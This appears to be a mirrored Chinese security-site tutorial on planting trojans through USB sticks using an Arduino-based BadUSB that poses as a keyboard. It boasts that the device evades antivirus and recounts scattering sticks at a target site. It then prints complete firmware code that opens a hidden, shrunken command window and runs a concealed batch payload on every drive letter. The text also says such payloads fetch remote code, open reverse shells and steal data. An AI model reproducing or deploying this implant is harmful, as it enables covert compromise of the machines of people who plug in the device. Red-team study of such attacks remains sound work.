U盘植马之基于arduino的badusb实现及思考
2023-9-22 11:54:53 Author: www.freebuf.com(查看原文) 阅读量:7 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

引言

曾经有这么一段传说,在某次攻防演练时,某攻击队准备了一口袋U盘前往了目标单位的工作园区,在园区围墙外停下了脚步,然后开始不停扔U盘进去,最后发现有大量的“猎奇者”上线。

U盘植马是常见的近源渗透方式之一,本文主要讲解一种基于arduino的badusb植入技术,即插即用且不会被杀毒软件检测出来,希望大家在通过U盘传递各类“学习资料”时一定要多留一个心眼。

badusb技术简介&相似技术对比

badusb技术

BadUSB是利用伪造HID设备执行攻击载荷的一种攻击方式。HID(Human InterfaceDevice)设备通常指的就是键盘鼠标等与人交互的设备,用户插入BadUSB,就会自动执行预置在固件中的恶意代码。

BadUsb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。

恶意代码存在于U盘的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法防御BadUSB的攻击。

AutoRun技术对比

AutoRun技术在早期的打印店里传播较为广泛。U盘病毒的原理主要依赖于AutoRun.inf文件。AutoRun.inf文件最早见于光盘中,它的作用是在载入光盘(或双击具有AutoRun.inf文件光盘的驱动器盘符)时自动运行指定的某个文件。由于它特有的功能和性质,从2006年左右开始,AutoRun.inf文件被利用在U盘和硬盘之间传播木马或病毒程序。

这种技术路线的AutoRun.inf是会被操作系统读取到的,也就意味着杀毒软件可以进行识别与查杀。相比badusb的固件不对系统开放,AutoRun技术路线被查杀的概率要大的多。

按键精灵类软件外挂

按键精灵是一款模拟鼠标键盘动作的软件。通过制作脚本,可以让按键精灵代替双手,自动执行一系列鼠标键盘动作。

按键精灵简单易用,不需要任何编程知识就可以作出功能强大的脚本。只要在电脑前用双手可以完成的动作,按键精灵都可以替代完成。

但是通常是使用系统api调用实现模拟键鼠操作。而系统api通常都在杀毒软件的控制之内,是可以被程序识别到的,所以经常会出现被当作外挂封号。

BadUSB则是利用写死在固件里的代码进行一系列模拟键鼠操作,通过正规的渠道,走usb协议传输给操作系统,操作系统只会认为是一个外接键盘进行了这一系列操作。

综上所述,对比AutoRun和按键精灵,badusb都更隐蔽,且不易被识别为恶意行为。

badusb复现

使用道具 :arduino pro micro mini

使用ardino官方ide,代码如下:

# include "Keyboard.h"# define KEY_ESC 41# define KEY_BACKSPACE 42# define KEY_TAB 43# define KEY_PRT_SCR 70# define KEY_DELETE 76# define KEY_CAPS_LOCK 0x39void setup() {Keyboard.begin();//开始键盘通信delay(10009);Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题Keyboard.release(KEY_CAPS_LOCK); //释放大写键delay(500);Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键delay(500);Keyboard.press('r');//按下r键delay(500);Keyboard.release(KEY_LEFT_GUI);//松掉win键Keyboard.release('r');//松掉r键Keyboard.println("CMD /t:01 /k @ECHO OFF && MODE CON:cols=15 lines=1");//输入cmd进入DOSdelay(500);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);// Keyboard.println("calc");//启动计算器,或其他命令行。Keyboard.println("for  %i in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do \"%i:\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\1.bat\"");Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);// Keyboard.println("exit");// Keyboard.press(KEY_RETURN);// Keyboard.release(KEY_RETURN);}

文章来源: https://www.freebuf.com/articles/network/378879.html
如有侵权请联系:admin#unsafe.sh